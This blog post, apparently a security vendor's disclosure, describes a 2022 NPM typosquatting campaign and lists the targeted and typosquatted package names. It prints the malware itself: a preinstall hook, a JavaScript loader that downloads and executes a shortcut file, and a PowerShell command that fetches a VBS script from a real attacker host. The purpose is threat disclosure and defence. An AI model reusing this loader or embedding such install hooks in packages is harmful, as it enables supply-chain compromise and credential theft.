Note: Veracode acquired Phylum in January 2025, after this blog was published, and it has been migrated to Veracode’s blog.
Early on Oct 2, 2022 Phylum’s automated risk platform detected a large scale typosquatting campaign against NPM developers. The attackers targeted several high profile packages, including:
- shebang-command
- ignore
- webidl-conversions
- debug
- supports-colors
- anymatch
- universalify
- http-errors
- micromatch
- postcss-value-parse
- glob-parent
- string-width
- ansi-regex
- tslib
- y18n
These packages account for just over 1.2 Billion (1,204,473,993) downloads per week – a gigantic attack surface targeting a huge number of developers! Here is the full list of typosquatted packages:
1y8n | hsebang-command | postscs-value-parser | tlsib |
ahs-flag | http-erorrs | potscss-value-parser | tsilb |
anmyatch | http-errros | psotcss-value-parser | tslbi |
ansi-ergex | http-rerors | sehbang-command | tsring-width |
ansi-reegx | ignoer | setraverse | uinversalify |
ansi-regxe | ignroe | sheabng-command | unievrsalify |
ansi-rgeex | igonre | shebagn-command | univeraslify |
anyamtch | imcromatch | shebang-cmomand | universailfy |
anymacth | ingore | shebang-comamnd | universalfiy |
anymathc | jessc | shebang-commadn | universaliyf |
anymtach | jsecs | shebang-commnad | universlaify |
asni-regex | jssec | shebang-ocmmand | univesralify |
aynmatch | lgob-parent | shebnag-command | univresalify |
deubg | mciromatch | sjesc | uspports-color |
edbug | micormatch | spuports-color | wbeidl-conversions |
esrtaverse | micrmoatch | srting-width | webdl-conversions |
estarverse | microamtch | stirng-width | webid-conversions |
estraevrse | micromacth | strign-width | webidl-cnoversions |
estravesre | micromathc | string-iwdth | webidl-conevrsions |
estravrese | micromtach | string-wdith | webidl-converisons |
estrvaerse | mircomatch | string-widht | webidl-conversinos |
etsraverse | nasi-regex | string-witdh | webidl-conversion |
ewbidl-conversions | naymatch | strnig-width | webidl-conversiosn |
ginore | nuiversalify | supoprts-color | webidl-conversoins |
glbo-parent | opstcss-value-parser | supporst-color | webidl-convesrions |
glob-paernt | postcss-valeu-parser | supports-cloor | webidl-convresions |
glob-paretn | postcss-value-aprser | supports-colro | webidl-covnersions |
glob-praent | postcss-value-paresr | supports-coolr | webidl-ocnversions |
golb-parent | postcss-value-parsre | supports-oclor | weibdl-conversions |
has-falg | postcss-value-pasrer | suppotrs-color | y1n8 |
has-lfag | postcss-vaule-parser | supprots-color | y81n |
hsa-flag | postcss-vlaue-parser | thtp-errors |
Although these packages were removed from NPM quickly, it is recommended that you verify that none of the packages were installed between the hours of 12:00 AM UTC and 6:00 PM UTC. If any packages were installed during this timeframe, consider the machine completely compromised.
Technical Details
Each of these packages are initially executed via a preinstall hook in the package.json file:
"preinstall": "node index.js"
This executes the index.js file which contains the following:
'use strict'
exports.fromCallback = function (fn) {
return Object.defineProperty(function (...args) {
if (typeof args[args.length - 1] === 'function') fn.apply(this, args)
else {
return new Promise((resolve, reject) => {
fn.call(
this,
...args,
(err, res) => (err != null) ? reject(err) : resolve(res)
)
})
}
}, 'name', { value: fn.name })
}
exports.fromPromise = function (fn) {
return Object.defineProperty(function (...args) {
const cb = args[args.length - 1]
if (typeof cb !== 'function') return fn.apply(this, args)
else fn.apply(this, args.slice(0, -1)).then(r => cb(null, r), cb)
}, 'name', { value: fn.name })
}
var exec = require('child_process').exec;
const fs = require('fs');
const https = require('https');
const url = "https://cdn.discordapp.com/attachments/1026099040204636191/1026102020085657600/README.txt.lnk";
https.get(url,(res) => {
const path = `${__dirname}/README.txt.lnk`;
const filePath = fs.createWriteStream(path);
res.pipe(filePath);
filePath.on('finish',() => {
filePath.close();
exec(`${__dirname}/README.txt.lnk`);
})
});
Which will download an MS Windows shortcut file (available on our Github) and execute it. This file contains the following command:
C:\Windows\System32\cmd.exe C:\Windows\System32p/c powershell.exe iwr -outf %tmp%\\p.vbs https://enyhpvl.pythonanywhere.com/static/uac_bypass.vbs & %tmp%\\p.vbs.C:\Windows\System32\notepad.exe
Execution will result in the exfiltration of user credentials. Again, if you have inadvertently installed one of these packages consider the machine completely compromised.